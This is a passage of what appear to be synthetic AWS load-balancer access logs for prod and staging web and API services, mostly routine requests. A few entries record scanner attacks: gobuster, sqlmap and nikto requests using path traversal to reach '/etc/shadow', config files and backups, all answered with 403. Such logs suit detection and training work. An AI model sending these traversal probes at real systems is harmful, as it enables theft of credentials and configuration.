arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3c8-014361b2f2ce417ea9b213a9" "-" "-" 8 2024-11-01T00:52:08.119542Z "forward" "-" "-" "113.167.83.230:443" "403" "-" "-" -https 2024-11-01T00:52:09.182853Z prod-web-alb 41.90.242.186:12965 10.0.79.145:443 0.072151 0.426232 0.022562 301 301 328 3372 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c9-da9b6d57838a42a6a733303d" "prod-web-alb.example.com" "-" 3 2024-11-01T00:52:09.182853Z "forward" "-" "-" "10.0.79.145:443" "301" "-" "-" -https 2024-11-01T00:52:09.449668Z prod-web-alb 31.59.140.169:58910 10.0.229.215:443 0.000626 0.105851 0.004448 200 200 975 9406 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c9-44f135ba68f342c1badefef3" "prod-web-alb.example.com" "-" 8 2024-11-01T00:52:09.449668Z "forward" "-" "-" "10.0.229.215:443" "200" "-" "-" -https 2024-11-01T00:52:11.235488Z prod-web-alb 254.251.5.223:28407 10.0.163.150:443 0.022448 0.264201 0.030405 200 200 665 10707 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3cb-7afc966531b34e3dae884319" "prod-web-alb.example.com" "-" 8 2024-11-01T00:52:11.235488Z "forward" "-" "-" "10.0.163.150:443" "200" "-" "-" -https 2024-11-01T00:52:12.639285Z prod-web-alb 102.80.2.158:59112 10.0.11.223:443 0.040010 0.069900 0.059628 404 404 172 3164 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3cc-ab0130750fe54f3fb5b6f22f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:52:12.639285Z "forward" "-" "-" "10.0.11.223:443" "404" "-" "-" -http 2024-11-01T00:52:14.551196Z staging-alb 151.228.193.251:22102 156.37.164.145:80 0.039112 0.252715 0.092805 302 302 282 13744 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3ce-9cb988d4d8f546e5b88eec91" "staging-alb.example.com" "-" 9 2024-11-01T00:52:14.551196Z "forward" "-" "-" "156.37.164.145:80" "302" "-" "-" -https 2024-11-01T00:52:15.625362Z prod-api-alb 245.116.140.44:27437 10.0.7.94:443 0.059252 0.010250 0.087151 302 302 700 1811 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3cf-5dea640ead5241f18194b381" "prod-api-alb.example.com" "-" 5 2024-11-01T00:52:15.625362Z "forward" "-" "-" "10.0.7.94:443" "302" "-" "-" -https 2024-11-01T00:52:17.159454Z prod-api-alb 14.147.220.80:32539 10.0.237.151:443 0.068830 0.496968 0.060544 200 200 660 5135 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3d1-d9075646b88442eeb04c3bea" "prod-api-alb.example.com" "-" 0 2024-11-01T00:52:17.159454Z "forward" "-" "-" "10.0.237.151:443" "200" "-" "-" -http 2024-11-01T00:52:18.407859Z staging-alb 13.213.107.203:16017 95.94.81.45:80 0.108174 0.250801 0.099430 200 200 121 5782 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3d2-ea54ef3878014862883668b8" "staging-alb.example.com" "-" 6 2024-11-01T00:52:18.407859Z "forward" "-" "-" "95.94.81.45:80" "200" "-" "-" -https 2024-11-01T00:52:19.238583Z prod-web-alb 217.151.92.59:46126 10.0.14.211:443 0.078456 0.216450 0.002808 301 301 97 11954 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3d3-97a7af540f614422a79a4dca" "prod-web-alb.example.com" "-" 6 2024-11-01T00:52:19.238583Z "forward" "-" "-" "10.0.14.211:443" "301" "-" "-" -https 2024-11-01T00:52:19.588258Z prod-api-alb 152.124.55.208:58491 10.0.195.233:443 0.042687 0.175750 0.061093 301 301 842 8068 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3d3-3ed423195db648d3a4a24a44" "prod-api-alb.example.com" "-" 9 2024-11-01T00:52:19.588258Z "forward" "-" "-" "10.0.195.233:443" "301" "-" "-" -https 2024-11-01T00:52:19.837697Z prod-web-alb 219.124.73.7:28136 10.0.231.116:443 0.099624 0.033331 0.041135 200 200 68 13000 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3d3-c65e0cf91c2d45bc830f3f86" "prod-web-alb.example.com" "-" 2 2024-11-01T00:52:19.837697Z "forward" "-" "-" "10.0.231.116:443" "200" "-" "-" -https 2024-11-01T00:52:20.228403Z prod-api-alb 162.206.137.0:58259 10.0.72.203:443 0.065828 0.138837 0.096158 200 200 423 2185 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3d4-42358824966240e4b95efa89" "prod-api-alb.example.com" "-" 3 2024-11-01T00:52:20.228403Z "forward" "-" "-" "10.0.72.203:443" "200" "-" "-" -https 2024-11-01T00:52:20.532026Z staging-alb 110.168.24.47:40585 239.54.163.110:8080 0.106810 0.399080 0.059318 301 301 354 10467 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3d4-f885faec2b81482d883a5322" "staging-alb.example.com" "-" 10 2024-11-01T00:52:20.532026Z "forward" "-" "-" "239.54.163.110:8080" "301" "-" "-" -https 2024-11-01T00:52:22.009859Z staging-alb 77.212.103.162:50464 54.9.23.251:80 0.095493 0.602211 0.093564 404 404 591 12273 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3d6-7583f13291684301a4c3b732" "staging-alb.example.com" "-" 2 2024-11-01T00:52:22.009859Z "forward" "-" "-" "54.9.23.251:80" "404" "-" "-" -https 2024-11-01T00:52:22.295787Z staging-alb 231.34.34.213:46482 158.248.111.51:443 0.021247 0.722724 0.121619 301 301 658 14713 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3d6-4bac589c828944958521944b" "staging-alb.example.com" "-" 7 2024-11-01T00:52:22.295787Z "forward" "-" "-" "158.248.111.51:443" "301" "-" "-" -https 2024-11-01T00:52:23.929731Z prod-api-alb 43.232.158.200:51192 10.0.54.235:443 0.020097 0.044729 0.037958 302 302 20 6945 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3d7-7c41c52257684926a5187741" "prod-api-alb.example.com" "-" 2 2024-11-01T00:52:23.929731Z "forward" "-" "-" "10.0.54.235:443" "302" "-" "-" -https 2024-11-01T00:52:25.408842Z prod-api-alb 254.14.218.29:51792 10.0.112.190:443 0.084322 0.350062 0.038047 302 302 103 6676 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3d9-7b3d329d82b54b98b83aad42" "prod-api-alb.example.com" "-" 4 2024-11-01T00:52:25.408842Z "forward" "-" "-" "10.0.112.190:443" "302" "-" "-" -https 2024-11-01T00:52:27.049379Z prod-api-alb 60.252.36.64:60673 10.0.164.79:443 0.024585 0.055787 0.045883 302 302 804 11164 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3db-2e97c2962fbc478595b6b2b3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:52:27.049379Z "forward" "-" "-" "10.0.164.79:443" "302" "-" "-" -http 2024-11-01T00:52:27.923431Z staging-alb 193.27.228.48:21127 90.194.249.78:8080 0.116590 0.597453 0.063058 403 403 873 7495 "GET /config.php~ HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3db-877b4647230044caad4333ec" "-" "-" 5 2024-11-01T00:52:27.923431Z "forward" "-" "-" "90.194.249.78:8080" "403" "-" "-" -https 2024-11-01T00:52:29.719629Z prod-web-alb 217.77.235.247:47032 10.0.59.191:443 0.094060 0.492201 0.077234 302 302 888 13541 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3dd-ebaa51f422424ca680d5cfee" "prod-web-alb.example.com" "-" 2 2024-11-01T00:52:29.719629Z "forward" "-" "-" "10.0.59.191:443" "302" "-" "-" -http 2024-11-01T00:52:30.910998Z staging-alb 222.129.143.94:21338 20.140.68.172:80 0.068813 0.728801 0.138472 200 200 560 894 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3de-40642185b3b24392a2443e35" "staging-alb.example.com" "-" 6 2024-11-01T00:52:30.910998Z "forward" "-" "-" "20.140.68.172:80" "200" "-" "-" -http 2024-11-01T00:52:31.064102Z staging-alb 147.130.140.129:60073 66.62.108.98:8080 0.117231 0.274259 0.091520 404 404 676 7880 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3df-6882d6e50f67467096681283" "staging-alb.example.com" "-" 8 2024-11-01T00:52:31.064102Z "forward" "-" "-" "66.62.108.98:8080" "404" "-" "-" -https 2024-11-01T00:52:31.849057Z prod-web-alb 205.13.58.169:13555 10.0.76.113:443 0.070226 0.311847 0.030380 301 301 80 13749 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3df-cc00b5df6ccd4fbaa3e18ad3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:52:31.849057Z "forward" "-" "-" "10.0.76.113:443" "301" "-" "-" -https 2024-11-01T00:52:32.975829Z prod-api-alb 230.186.76.20:51253 10.0.156.80:443 0.045993 0.032447 0.092938 200 200 546 11829 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3e0-beaea733d5a947cc87580626" "prod-api-alb.example.com" "-" 0 2024-11-01T00:52:32.975829Z "forward" "-" "-" "10.0.156.80:443" "200" "-" "-" -https 2024-11-01T00:52:33.110195Z prod-web-alb 221.55.166.65:24703 10.0.71.119:443 0.056189 0.147037 0.082540 302 302 947 6451 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3e1-2631a3a072704b42a22c6030" "prod-web-alb.example.com" "-" 10 2024-11-01T00:52:33.110195Z "forward" "-" "-" "10.0.71.119:443" "302" "-" "-" -http 2024-11-01T00:52:33.789143Z staging-alb 239.100.106.72:61260 215.64.207.191:443 0.123644 0.198217 0.111549 200 200 98 7966 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3e1-e175b9a7e76945628ee82ef3" "staging-alb.example.com" "-" 7 2024-11-01T00:52:33.789143Z "forward" "-" "-" "215.64.207.191:443" "200" "-" "-" -https 2024-11-01T00:52:34.866869Z prod-web-alb 167.200.164.66:19712 10.0.82.114:443 0.066560 0.012014 0.040655 200 200 523 11667 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3e2-aefaf85f200d4f949ddabd8e" "prod-web-alb.example.com" "-" 2 2024-11-01T00:52:34.866869Z "forward" "-" "-" "10.0.82.114:443" "200" "-" "-" -http 2024-11-01T00:52:35.487206Z staging-alb 185.181.160.192:61696 247.16.42.108:443 0.040437 0.646125 0.066046 403 403 239 4999 "GET /images/../../../../etc/shadow HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3e3-099e98e21572485ea860a598" "-" "-" 1 2024-11-01T00:52:35.487206Z "forward" "-" "-" "247.16.42.108:443" "403" "-" "-" -https 2024-11-01T00:52:37.097910Z prod-web-alb 104.199.49.163:36535 10.0.53.72:443 0.055407 0.455379 0.066460 200 200 331 9988 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3e5-e627227dcee74de0b7d51827" "prod-web-alb.example.com" "-" 5 2024-11-01T00:52:37.097910Z "forward" "-" "-" "10.0.53.72:443" "200" "-" "-" -https 2024-11-01T00:52:37.820943Z prod-api-alb 62.235.75.63:11686 10.0.4.89:443 0.006571 0.054833 0.028194 404 404 167 1452 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3e5-2df3de4cfff5470f9e1c6280" "prod-api-alb.example.com" "-" 1 2024-11-01T00:52:37.820943Z "forward" "-" "-" "10.0.4.89:443" "404" "-" "-" -https 2024-11-01T00:52:38.909853Z prod-api-alb 193.27.228.98:48463 10.0.235.240:443 0.070198 0.223171 0.087977 403 403 992 3613 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3e6-e3ba5fd5c19943f38a9f70c2" "-" "-" 6 2024-11-01T00:52:38.909853Z "forward" "-" "-" "10.0.235.240:443" "403" "-" "-" -https 2024-11-01T00:52:39.704700Z prod-api-alb 2.209.107.191:43772 10.0.47.95:443 0.041584 0.341999 0.091738 200 200 571 6030 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3e7-495e2ffff8534102baa45ba4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:52:39.704700Z "forward" "-" "-" "10.0.47.95:443" "200" "-" "-" -https 2024-11-01T00:52:41.159712Z prod-web-alb 213.238.201.45:55413 10.0.98.37:443 0.078047 0.391621 0.091458 404 404 419 11584 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3e9-094dd715fe4f43f78ac53cd1" "prod-web-alb.example.com" "-" 5 2024-11-01T00:52:41.159712Z "forward" "-" "-" "10.0.98.37:443" "404" "-" "-" -https 2024-11-01T00:52:41.653359Z prod-api-alb 106.51.105.11:46094 10.0.21.14:443 0.091816 0.054653 0.006155 200 200 183 14356 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3e9-cc65abed28f64071b4a019f6" "prod-api-alb.example.com" "-" 1 2024-11-01T00:52:41.653359Z "forward" "-" "-" "10.0.21.14:443" "200" "-" "-" -https 2024-11-01T00:52:42.290664Z prod-api-alb 105.132.56.178:56383 10.0.52.44:443 0.007198 0.462486 0.052111 404 404 302 4942 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3ea-81fbb6288c1f4c63ac56e575" "prod-api-alb.example.com" "-" 7 2024-11-01T00:52:42.290664Z "forward" "-" "-" "10.0.52.44:443" "404" "-" "-" -https 2024-11-01T00:52:43.054996Z prod-api-alb 219.47.121.210:63367 10.0.253.12:443 0.068957 0.469041 0.078395 200 200 339 792 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3eb-4eba201e5f3b4cc08ed6a444" "prod-api-alb.example.com" "-" 6 2024-11-01T00:52:43.054996Z "forward" "-" "-" "10.0.253.12:443" "200" "-" "-" -https 2024-11-01T00:52:44.645527Z prod-api-alb 64.36.79.71:11471 10.0.89.43:443 0.052370 0.025533 0.002929 301 301 906 7722 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3ec-446f148f24bd4c4481a460fa" "prod-api-alb.example.com" "-" 7 2024-11-01T00:52:44.645527Z "forward" "-" "-" "10.0.89.43:443" "301" "-" "-" -https 2024-11-01T00:52:44.891193Z prod-web-alb 75.188.184.223:50294 10.0.44.240:443 0.055058 0.274176 0.079113 302 302 731 10416 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3ec-afd4fa349e44411e85e8685e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:52:44.891193Z "forward" "-" "-" "10.0.44.240:443" "302" "-" "-" -https 2024-11-01T00:52:46.207911Z prod-api-alb 71.98.19.251:11626 10.0.231.126:443 0.019538 0.357381 0.094320 200 200 190 12527 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3ee-a5a12a1aa033449da614c655" "prod-api-alb.example.com" "-" 8 2024-11-01T00:52:46.207911Z "forward" "-" "-" "10.0.231.126:443" "200" "-" "-" -https 2024-11-01T00:52:46.568717Z prod-api-alb 45.208.200.72:26084 10.0.124.162:443 0.017722 0.058351 0.022864 200 200 754 13190 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3ee-8e25ea2be23a4b84a17065f1" "prod-api-alb.example.com" "-" 2 2024-11-01T00:52:46.568717Z "forward" "-" "-" "10.0.124.162:443" "200" "-" "-" -http 2024-11-01T00:52:47.577317Z staging-alb 206.32.75.209:50157 32.153.188.81:443 0.084454 0.272495 0.044879 200 200 900 11297 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3ef-6b9058ceda9c49d4abcd1cde" "staging-alb.example.com" "-" 2 2024-11-01T00:52:47.577317Z "forward" "-" "-" "32.153.188.81:443" "200" "-" "-" -https 2024-11-01T00:52:47.692414Z staging-alb 212.9.142.105:56725 245.34.251.47:80 0.130726 0.210867 0.028136 302 302 92 4108 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3ef-c8c8f006d83e46aead1c291a" "staging-alb.example.com" "-" 6 2024-11-01T00:52:47.692414Z "forward" "-" "-" "245.34.251.47:80" "302" "-" "-" -https 2024-11-01T00:52:47.991191Z staging-alb 62.244.39.96:37763 42.114.148.85:443 0.005156 0.496582 0.011511 301 301 672 1539 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3ef-269f83582b334cb1b647e2c0" "staging-alb.example.com" "-" 3 2024-11-01T00:52:47.991191Z "forward" "-" "-" "42.114.148.85:443" "301" "-" "-" -https 2024-11-01T00:52:48.702552Z staging-alb 34.24.136.234:12947 189.119.152.240:80 0.144109 0.652143 0.044513 200 200 483 2116 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3f0-f16e426092f24066acbd872c" "staging-alb.example.com" "-" 3 2024-11-01T00:52:48.702552Z "forward" "-" "-" "189.119.152.240:80" "200" "-" "-" -https 2024-11-01T00:52:50.507674Z prod-api-alb 128.210.139.66:40882 10.0.78.185:443 0.066665 0.284092 0.020699 200 200 270 7793 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3f2-9e882e097d064829b6fa2b29" "prod-api-alb.example.com" "-" 10 2024-11-01T00:52:50.507674Z "forward" "-" "-" "10.0.78.185:443" "200" "-" "-" -https 2024-11-01T00:52:51.586217Z staging-alb 147.143.231.238:22607 83.164.217.241:443 0.112160 0.516774 0.066468 301 301 478 7266 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3f3-d58d682a5b1c4ae5a02746b8" "staging-alb.example.com" "-" 4 2024-11-01T00:52:51.586217Z "forward" "-" "-" "83.164.217.241:443" "301" "-" "-" -https 2024-11-01T00:52:52.214994Z staging-alb 149.251.114.243:51226 78.167.201.202:443 0.087802 0.475087 0.130318 200 200 357 13185 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3f4-e206228fd6f44002ba947c38" "staging-alb.example.com" "-" 0 2024-11-01T00:52:52.214994Z "forward" "-" "-" "78.167.201.202:443" "200" "-" "-" -https 2024-11-01T00:52:53.977567Z prod-web-alb 245.254.9.90:21078 10.0.142.142:443 0.086990 0.499037 0.048487 301 301 113 10187 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3f5-3eb1552b6d3e4cdfb5fda7af" "prod-web-alb.example.com" "-" 9 2024-11-01T00:52:53.977567Z "forward" "-" "-" "10.0.142.142:443" "301" "-" "-" -https 2024-11-01T00:52:55.460125Z prod-web-alb 88.141.71.145:19350 10.0.235.8:443 0.042287 